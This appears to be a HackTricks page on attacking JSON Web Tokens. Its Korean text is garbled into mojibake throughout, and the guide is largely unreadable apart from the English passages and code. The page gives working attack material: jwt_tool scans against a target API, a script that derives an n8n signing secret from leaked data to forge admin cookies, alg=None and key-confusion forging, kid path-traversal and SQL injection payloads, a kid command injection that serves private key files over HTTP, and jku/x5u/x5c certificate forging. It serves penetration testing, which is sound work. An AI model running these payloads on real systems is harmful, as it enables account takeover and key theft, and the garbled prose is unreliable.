JWT ์ทจ์ฝ์ (Json Web Tokens)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
์ด ๊ฒ์๋ฌผ์ ์ผ๋ถ๋ ํ๋ฅญํ ๊ฒ์๋ฌผ์ ๊ธฐ๋ฐํฉ๋๋ค: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
JWT๋ฅผ pentestํ๊ธฐ ์ํ ํ๋ฅญํ ๋๊ตฌ์ ์ ์์ https://github.com/ticarpi/jwt_tool
๋น ๋ฅธ ์ฑ๊ณผ
All Tests! ๋ชจ๋๋ก jwt_tool๋ฅผ ์คํํ๊ณ ์ด๋ก์ ์ค์ด ๋์ฌ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ์ธ์
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
์ด์ด ์ข๋ค๋ฉด ๋๊ตฌ๊ฐ ์น ์ ํ๋ฆฌ์ผ์ด์ ์ด JWT๋ฅผ ์๋ชป ๊ฒ์ฆํ๋ ๊ฒฝ์ฐ๋ฅผ ์ฐพ์์ค ์ ์์ต๋๋ค:
.png)
๊ทธ๋ฐ ๋ค์, proxy์์ ํด๋น ์์ฒญ์ ๊ฒ์ํ๊ฑฐ๋ jwt_ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด ํด๋น ์์ฒญ์ ์ฌ์ฉ๋ JWT๋ฅผ ๋คํํ ์ ์์ต๋๋ค:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
You can also use the Burp Extension SignSaboteur to launch JWT attacks from Burp.
์๋ช ์ ์์ ํ์ง ์๊ณ ๋ฐ์ดํฐ๋ง ๋ณ์กฐ
์๋ช ์ ๊ทธ๋๋ก ๋ ์ฑ ๋ฐ์ดํฐ๋ง ๋ณ์กฐํด์ ์๋ฒ๊ฐ ์๋ช ์ ๊ฒ์ฆํ๋์ง ํ์ธํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด ์ฌ์ฉ์ ์ด๋ฆ์ โadminโ์ผ๋ก ๋ณ๊ฒฝํด ๋ณด์ธ์.
ํ ํฐ์ด ๊ฒ์ฆ๋๋๊ฐ?
- ์ค๋ฅ ๋ฉ์์ง๋ ๊ฒ์ฆ์ด ์ํ๋๊ณ ์์์ ์์ฌํฉ๋๋ค. ์์ธํ ์ค๋ฅ์ ํฌํจ๋ ๋ฏผ๊ฐํ ์ ๋ณด๋ ๊ฒํ ํด์ผ ํฉ๋๋ค.
- ๋ฐํ๋ ํ์ด์ง์ ๋ณ๊ฒฝ ๋ํ ๊ฒ์ฆ์ ๋ํ๋ ๋๋ค.
- ๋ณ๊ฒฝ์ด ์์ผ๋ฉด ๊ฒ์ฆ์ด ์ด๋ฃจ์ด์ง์ง ์๋ ๊ฒ์ผ๋ก ๋ณด์ด๋ฉฐ, ์ด๋ payload ํด๋ ์์ ๋ณ์กฐํด ์คํํด๋ณผ ์ ์์ต๋๋ค.
Origin
ํ๋ก์์ ์์ฒญ ๊ธฐ๋ก์ ๊ฒ์ฌํ์ฌ ํ ํฐ์ด ์๋ฒ์ธก์์ ์์ฑ๋์๋์ง ํด๋ผ์ด์ธํธ์ธก์์ ์์ฑ๋์๋์ง ํ์ ํ๋ ๊ฒ์ด ์ค์ํฉ๋๋ค.
- ํด๋ผ์ด์ธํธ ์ชฝ์์ ์ฒ์ ๊ด์ฐฐ๋ ํ ํฐ์ ํค๊ฐ ํด๋ผ์ด์ธํธ ์ฝ๋์ ๋ ธ์ถ๋์ด ์์ ์ ์์์ ์์ฌํ๋ฉฐ, ์ถ๊ฐ ์กฐ์ฌ๊ฐ ํ์ํฉ๋๋ค.
- ์๋ฒ ์ธก์์ ์์ฑ๋ ํ ํฐ์ ํ๋ก์ธ์ค๊ฐ ์์ ํจ์ ๋ํ๋ ๋๋ค.
Duration
ํ ํฐ์ด 24์๊ฐ ์ด์ ์ง์๋๋์ง ํ์ธํ์ธ์โฆ ์ด์ฉ๋ฉด ์ ๋ ๋ง๋ฃ๋์ง ์์ ์๋ ์์ต๋๋ค. โexpโ ํ๋๊ฐ ์๋ค๋ฉด ์๋ฒ๊ฐ ์ด๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ์ฒ๋ฆฌํ๋์ง ํ์ธํ์ธ์.
Brute-force HMAC secret
Derive JWT secrets from leaked config + DB data
If an arbitrary file read (or backup leak) exposes both application encryption material and user records, you can sometimes recreate the JWT signing secret and forge session cookies without knowing any plaintext passwords. Example pattern observed in workflow automation stacks:
- Leak the app key (e.g.,
encryptionKey) from a config file. - Leak the user table to obtain
email,password_hash, anduser_id. - Derive the signing secret from the key, then derive the per-user hash expected in the JWT payload:
jwt_secret = sha256(encryption_key[::2]).hexdigest() # signing key
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
- ์๋ช
๋ ํ ํฐ์ session cookie(์:
n8n-auth)์ ๋ฃ์ด ๋น๋ฐ๋ฒํธ ํด์์ ์ํธ๊ฐ ์ ์ฉ๋์ด ์์ด๋ ์ฌ์ฉ์/๊ด๋ฆฌ์ ๊ณ์ ์ ๊ฐ์ฅํ ์ ์๋ค.
Modify the algorithm to None
์ฌ์ฉ๋๋ ์๊ณ ๋ฆฌ์ฆ์ โNoneโ์ผ๋ก ์ค์ ํ๊ณ ์๋ช ๋ถ๋ถ์ ์ ๊ฑฐํ๋ค.
Burp ํ์ฅ๊ธฐ๋ฅ์ธ โJSON Web Tokenโ์ ์ฌ์ฉํ์ฌ ์ด ์ทจ์ฝ์ ์ ์๋ํ๊ณ JWT ๋ด๋ถ์ ๋ค์ํ ๊ฐ์ ๋ณ๊ฒฝํ ์ ์๋ค(์์ฒญ์ Repeater๋ก ๋ณด๋ด๊ณ โJSON Web Tokenโ ํญ์์ ํ ํฐ์ ๊ฐ์ ์์ ํ ์ ์๋ค. ๋ํ โAlgโ ํ๋์ ๊ฐ์ โNoneโ์ผ๋ก ์ค์ ํ ์๋ ์๋ค).
Change the algorithm RS256(asymmetric) to HS256(symmetric) (CVE-2016-5431/CVE-2016-10555)
HS256 ์๊ณ ๋ฆฌ์ฆ์ ๋น๋ฐ ํค๋ฅผ ์ฌ์ฉํด ๊ฐ ๋ฉ์์ง๋ฅผ ์๋ช
ํ๊ณ ๊ฒ์ฆํ๋ค.
RS256 ์๊ณ ๋ฆฌ์ฆ์ ๊ฐ์ธ ํค๋ก ๋ฉ์์ง๋ฅผ ์๋ช
ํ๊ณ ๊ณต๊ฐ ํค๋ก ์ธ์ฆํ๋ค.
RS256์์ HS256์ผ๋ก ์๊ณ ๋ฆฌ์ฆ์ ๋ณ๊ฒฝํ๋ฉด, ๋ฐฑ์๋ ์ฝ๋๋ ๊ณต๊ฐ ํค๋ฅผ ๋น๋ฐ ํค๋ก ์ฌ์ฉํ ๋ค HS256 ์๊ณ ๋ฆฌ์ฆ์ผ๋ก ์๋ช ์ ๊ฒ์ฆํ๋ค.
๋ฐ๋ผ์ ๊ณต๊ฐ ํค๋ฅผ ์ฌ์ฉํ๊ณ RS256์ HS256์ผ๋ก ๋ณ๊ฒฝํ๋ฉด ์ ํจํ ์๋ช ์ ์์ฑํ ์ ์๋ค. ์น ์๋ฒ์ ์ธ์ฆ์๋ ๋ค์๊ณผ ๊ฐ์ด ๊ฐ์ ธ์ฌ ์ ์๋ค:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
ํค๋ ์์ ์๋ก์ด ๊ณต๊ฐ ํค
๊ณต๊ฒฉ์๋ ํ ํฐ์ ํค๋์ ์ ํค๋ฅผ ์ฝ์ ํ๊ณ ์๋ฒ๊ฐ ์ด ์ ํค๋ก ์๋ช ์ ๊ฒ์ฆํ๋ค (CVE-2018-0114).
์ด๊ฒ์ โJSON Web Tokensโ Burp extension.\ (์์ฒญ์ Repeater๋ก ๋ณด๋ด๊ณ , JSON Web Token ํญ์์ โCVE-2018-0114โ๋ฅผ ์ ํํ ๋ค ์์ฒญ์ ์ ์ก).
JWKS ์คํธํ
์ง์นจ์ ํนํ โjkuโ ํค๋ ํด๋ ์์ ์ฌ์ฉํ๋ JWT ํ ํฐ์ ๋ณด์์ ํ๊ฐํ๋ ๋ฐฉ๋ฒ์ ์ค๋ช ํ๋ค. ์ด ํด๋ ์์ ํ ํฐ ๊ฒ์ฆ์ ํ์ํ ๊ณต๊ฐ ํค๋ฅผ ํฌํจํ๋ JWKS (JSON Web Key Set) ํ์ผ๋ก ์ฐ๊ฒฐ๋์ด์ผ ํ๋ค.
-
โjkuโ ํค๋๊ฐ ์๋ ํ ํฐ ํ๊ฐ:
-
โjkuโ ํด๋ ์์ URL์ด ์ ์ ํ JWKS ํ์ผ๋ก ์ฐ๊ฒฐ๋๋์ง ํ์ธํ๋ค.
-
ํ ํฐ์ โjkuโ ๊ฐ์ ์ ์ด ๊ฐ๋ฅํ ์น ์๋น์ค๋ก ๋ณ๊ฒฝํ์ฌ ํธ๋ํฝ์ ๊ด์ฐฐํ ์ ์๊ฒ ํ๋ค.
-
HTTP ์ํธ์์ฉ ๋ชจ๋ํฐ๋ง:
-
์ง์ ํ URL๋ก์ HTTP ์์ฒญ์ ๊ด์ฐฐํ๋ฉด ์๋ฒ๊ฐ ์ ๊ณตํ ๋งํฌ์์ ํค๋ฅผ ๊ฐ์ ธ์ค๋ ค๊ณ ์๋ํ์์ ๋ํ๋ธ๋ค.
-
์ด ์ ์ฐจ์์
jwt_tool์ ์ฌ์ฉํ ๋๋ ํ ์คํธ๋ฅผ ์ํดjwtconf.iniํ์ผ์ ๊ฐ์ธ JWKS ์์น๋ก ์ ๋ฐ์ดํธํ๋ ๊ฒ์ด ์ค์ํ๋ค. -
jwt_tool๋ช ๋ น: -
๋ค์ ๋ช ๋ น์ ์คํํ์ฌ
jwt_tool๋ก ์๋๋ฆฌ์ค๋ฅผ ์๋ฎฌ๋ ์ด์ ํ๋ค:
python3 jwt_tool.py JWT_HERE -X s
Kid ๋ฌธ์ ๊ฐ์
์ ํ์ ํค๋ ํด๋ ์์ธ kid๋ ํน์ ํค๋ฅผ ์๋ณํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ, ํนํ ์ฌ๋ฌ ํค๊ฐ ์กด์ฌํ๋ ํ๊ฒฝ์์ ํ ํฐ ์๋ช
๊ฒ์ฆ์ ์ค์ํ๋ค. ์ด ํด๋ ์์ ํ ํฐ ์๋ช
์ ๊ฒ์ฆํ ์ ์ ํ ํค๋ฅผ ์ ํํ๋ ๋ฐ ๋์์ ์ค๋ค.
kid๋ฅผ ํตํ ํค ๋
ธ์ถ
ํค๋์ kid ํด๋ ์์ด ์๋ ๊ฒฝ์ฐ ํด๋น ํ์ผ ๋๋ ๊ทธ ๋ณํ์ ์น ๋๋ ํ ๋ฆฌ์์ ๊ฒ์ํ๋ ๊ฒ์ด ๊ถ์ฅ๋๋ค. ์๋ฅผ ๋ค์ด "kid":"key/12345"๊ฐ ์ง์ ๋์ด ์๋ค๋ฉด ์น ๋ฃจํธ์์ _/key/12345_์ /key/12345.pem ํ์ผ์ ์ฐพ์์ผ ํ๋ค.
Path Traversal with kid
kid ํด๋ ์์ ํ์ผ ์์คํ
์ ํ์ํ๋ ๋ฐ ์
์ฉ๋์ด ์์์ ํ์ผ์ ์ ํํ ์ ์๊ฒ ํ ์๋ ์๋ค. kid ๊ฐ์ ํน์ ํ์ผ์ด๋ ์๋น์ค๋ฅผ ๋์์ผ๋ก ๋ณ๊ฒฝํ์ฌ ์ฐ๊ฒฐ์ฑ์ ํ
์คํธํ๊ฑฐ๋ Server-Side Request Forgery (SSRF) ๊ณต๊ฒฉ์ ์ํํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค. ์๋ ์๋ช
์ ์ ์งํ๋ฉด์ kid ๊ฐ์ ๋ณ๊ฒฝํ๋๋ก JWT๋ฅผ ๋ณ์กฐํ๋ ๊ฒ์ ์๋์ ์์๋ jwt_tool์ -T ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์ํํ ์ ์๋ค:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
By targeting files with predictable content, itโs possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.
SQL Injection via โkidโ
kid ํด๋ ์์ ๋ด์ฉ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๊ฐ์ ธ์ค๋ ๋ฐ ์ฌ์ฉ๋๋ค๋ฉด, kid ํ์ด๋ก๋๋ฅผ ๋ณ๊ฒฝํจ์ผ๋ก์จ SQL Injection์ด ๋ฐ์ํ ์ ์์ต๋๋ค. JWT ์๋ช
๊ณผ์ ์ ๋ณ๊ฒฝํ๊ธฐ ์ํด SQL Injection์ ์ด์ฉํ ์์ ํ์ด๋ก๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
non-existent-index' UNION SELECT 'ATTACKER';-- -
์ด ๋ณ๊ฒฝ์ JWT ์๋ช
์ ์ํด ์๋ ค์ง ๋น๋ฐ ํค, ATTACKER, ๋ฅผ ์ฌ์ฉํ๋๋ก ๊ฐ์ ํฉ๋๋ค.
OS Injection through โkidโ
kid ํ๋ผ๋ฏธํฐ๊ฐ ๋ช
๋ น ์คํ ์ปจํ
์คํธ์์ ์ฌ์ฉ๋๋ ํ์ผ ๊ฒฝ๋ก๋ฅผ ์ง์ ํ๋ ๊ฒฝ์ฐ, Remote Code Execution (RCE) ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์์ต๋๋ค. kid ํ๋ผ๋ฏธํฐ์ ๋ช
๋ น์ ์ฃผ์
ํ๋ฉด private keys๋ฅผ ๋
ธ์ถ์ํฌ ์ ์์ต๋๋ค. RCE์ ํค ๋
ธ์ถ์ ๋ฌ์ฑํ๊ธฐ ์ํ ์์ ํ์ด๋ก๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u and jku
jku
jku stands for JWK Set URL.
ํ ํฐ์ด โjkuโ Header ํด๋ ์์ ์ฌ์ฉํ๋ค๋ฉด ์ ๊ณต๋ URL์ ํ์ธํ์ธ์. ์ด URL์ ํ ํฐ ๊ฒ์ฆ์ ์ํ Public Key๋ฅผ ํฌํจํ JWKS ํ์ผ์ ๊ฐ๋ฆฌ์ผ์ผ ํฉ๋๋ค. jku ๊ฐ์ ํธ๋ํฝ์ ๋ชจ๋ํฐ๋งํ ์ ์๋ ์น ์๋น์ค๋ก ๊ฐ๋ฆฌํค๋๋ก ํ ํฐ์ ๋ณ์กฐํ์ธ์.
First you need to create a new certificate with new private & public keys
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
๊ทธ๋ฐ ๋ค์ ์๋ฅผ ๋ค์ด jwt.io๋ฅผ ์ฌ์ฉํด ์ JWT๋ฅผ ์์ฑํ ์ ์์ผ๋ฉฐ, ์์ฑํ ๊ณต๊ฐ ๋ฐ ๊ฐ์ธ ํค๋ฅผ ์ฌ์ฉํ๊ณ parameter jku๊ฐ ์์ฑํ ์ธ์ฆ์๋ฅผ ๊ฐ๋ฆฌํค๋๋ก ์ค์ ํ๋ฉด ๋ฉ๋๋ค.
์ ํจํ jku ์ธ์ฆ์๋ฅผ ๋ง๋ค๋ ค๋ฉด ์๋ณธ์ ๋ค์ด๋ก๋ํ์ฌ ํ์ํ ๋งค๊ฐ๋ณ์๋ฅผ ๋ณ๊ฒฝํ๋ฉด ๋ฉ๋๋ค.
๊ณต๊ฐ ์ธ์ฆ์์์ โeโ์ โnโ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ค์์ ์ฌ์ฉํ์ฌ ์ป์ ์ ์์ต๋๋ค:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509 URL. PEM ํ์์ผ๋ก ์ธ์ฝ๋ฉ๋ X.509(์ธ์ฆ์ ํ์ ํ์ค) ๊ณต๊ฐ ์ธ์ฆ์ ์งํฉ์ ๊ฐ๋ฆฌํค๋ URI์ ๋๋ค. ์งํฉ์ ์ฒซ ๋ฒ์งธ ์ธ์ฆ์๋ ์ด JWT๋ฅผ ์๋ช ํ๋ ๋ฐ ์ฌ์ฉ๋ ์ธ์ฆ์์ฌ์ผ ํฉ๋๋ค. ์ดํ์ ์ธ์ฆ์๋ค์ ๊ฐ๊ฐ ์ด์ ์ธ์ฆ์๋ฅผ ์๋ช ํ์ฌ ์ธ์ฆ์ ์ฒด์ธ์ ์์ฑํฉ๋๋ค. X.509๋ RFC 52807์ ์ ์๋์ด ์์ต๋๋ค. ์ธ์ฆ์๋ฅผ ์ ์กํ๋ ค๋ฉด ์ ์ก ๋ณด์์ด ํ์ํฉ๋๋ค.
์์ ์ด ์ ์ดํ๋ URL๋ก ์ด ํค๋๋ฅผ ๋ณ๊ฒฝํด ๋ณด๊ณ ์์ฒญ์ด ์์ ๋๋์ง ํ์ธํ์ธ์. ๊ทธ๋ฐ ๊ฒฝ์ฐ JWT๋ฅผ ๋ณ์กฐํ ์ ์์ต๋๋ค.
์์ ์ด ์ ์ดํ๋ ์ธ์ฆ์๋ฅผ ์ฌ์ฉํด ์๋ก์ด token์ ์์กฐํ๋ ค๋ฉด, ์ธ์ฆ์๋ฅผ ์์ฑํ๊ณ ๊ณต๊ฐ ํค์ ๊ฐ์ธ ํค๋ฅผ ์ถ์ถํด์ผ ํฉ๋๋ค:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
๊ทธ๋ฐ ๋ค์ ์๋ฅผ ๋ค์ด jwt.io๋ฅผ ์ฌ์ฉํด ์์ฑํ public ๋ฐ private ํค๋ก ์ JWT๋ฅผ ๋ง๋ค๊ณ ํ๋ผ๋ฏธํฐ x5u๋ฅผ ์์ฑ๋ ์ธ์ฆ์ .crt๋ก ์ง์ ํ ์ ์๋ค.
.png)
์ด ๋ ์ทจ์ฝ์ ๋ชจ๋๋ฅผ SSRFs์ ์ ์ฉํ ์๋ ์๋ค.
x5c
์ด ํ๋ผ๋ฏธํฐ๋ base64๋ก ์ธ์ฝ๋ฉ๋ ์ธ์ฆ์๋ฅผ ํฌํจํ ์ ์๋ค:
.png)
๊ณต๊ฒฉ์๊ฐ ์๊ฐ ์๋ช ์ธ์ฆ์(self-signed certificate)๋ฅผ ์์ฑํ๊ณ ํด๋น private key๋ก ์์กฐ๋ ํ ํฐ์ ์์ฑํ ๋ค โx5cโ ํ๋ผ๋ฏธํฐ์ ๊ฐ์ ์๋ก ์์ฑํ ์ธ์ฆ์๋ก ๊ต์ฒดํ๊ณ ๋ค๋ฅธ ํ๋ผ๋ฏธํฐ๋ค, ์ฆ n, e ๋ฐ x5t๋ฅผ ์์ ํ๋ฉด ๊ฒฐ๊ตญ ์๋ฒ๋ ๊ทธ ์์กฐ๋ ํ ํฐ์ ์๋ฝํ๊ฒ ๋๋ค.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
๋ด์ฅ๋ ๊ณต๊ฐ ํค (CVE-2018-0114)
JWT์ ๋ค์๊ณผ ๊ฐ์ ์๋๋ฆฌ์ค์ฒ๋ผ ๊ณต๊ฐ ํค๊ฐ ๋ด์ฅ๋์ด ์๋ค๋ฉด:
.png)
๋ค์ nodejs ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํ๋ฉด ํด๋น ๋ฐ์ดํฐ๋ก๋ถํฐ ๊ณต๊ฐ ํค๋ฅผ ์์ฑํ ์ ์๋ค:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="โANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"โ;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
์๋ก์ด private/public key๋ฅผ ์์ฑํ๊ณ , ์๋ก์ด public key๋ฅผ token ์์ ์ฝ์ ํ ๋ค์ ์ด๋ฅผ ์ฌ์ฉํด ์๋ก์ด signature๋ฅผ ์์ฑํ ์ ์์ต๋๋ค:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
๋ค์ nodejs ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํด โnโ๊ณผ โeโ๋ฅผ ์ป์ ์ ์์ต๋๋ค:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Finally, using the public and private key and the new โnโ and โeโ values you can use jwt.io to forge a new valid JWT with any information.
ES256: ๋์ผํ nonce ์ฌ์ฉ ์ ๊ฐ์ธํค ๊ณต๊ฐ
If some applications use ES256 and use the same nonce to generate two jwts, the private key can be restored.
Here is a example: ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
JTI (JWT ID)
The JTI (JWT ID) claim provides a unique identifier for a JWT Token. It can be used to prevent the token from being replayed.
However, imagine a situation where the maximun length of the ID is 4 (0001-9999). The request 0001 and 10001 are going to use the same ID. So if the backend is incrementig the ID on each request you could abuse this to replay a request (needing to send 10000 request between each successful replay).
JWT Registered claims
Other attacks
Cross-service Relay Attacks
It has been observed that some web applications rely on a trusted JWT service for the generation and management of their tokens. Instances have been recorded where a token, generated for one client by the JWT service, was accepted by another client of the same JWT service. If the issuance or renewal of a JWT via a third-party service is observed, the possibility of signing up for an account on another client of that service using the same username/email should be investigated. An attempt should then be made to replay the obtained token in a request to the target to see if it is accepted.
- A critical issue may be indicated by the acceptance of your token, potentially allowing the spoofing of any userโs account. However, it should be noted that permission for wider testing might be required if signing up on a third-party application, as this could enter a legal grey area.
Expiry Check of Tokens
The tokenโs expiry is checked using the โexpโ Payload claim. Given that JWTs are often employed without session information, careful handling is required. In many instances, capturing and replaying another userโs JWT could enable impersonation of that user. The JWT RFC recommends mitigating JWT replay attacks by utilizing the โexpโ claim to set an expiry time for the token. Furthermore, the implementation of relevant checks by the application to ensure the processing of this value and the rejection of expired tokens is crucial. If the token includes an โexpโ claim and testing time limits allow, storing the token and replaying it after the expiry time has passed is advised. The content of the token, including timestamp parsing and expiry checking (timestamp in UTC), can be read using the jwt_toolโs -R flag.
- A security risk may be present if the application still validates the token, as it may imply that the token could never expire.
Tools
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


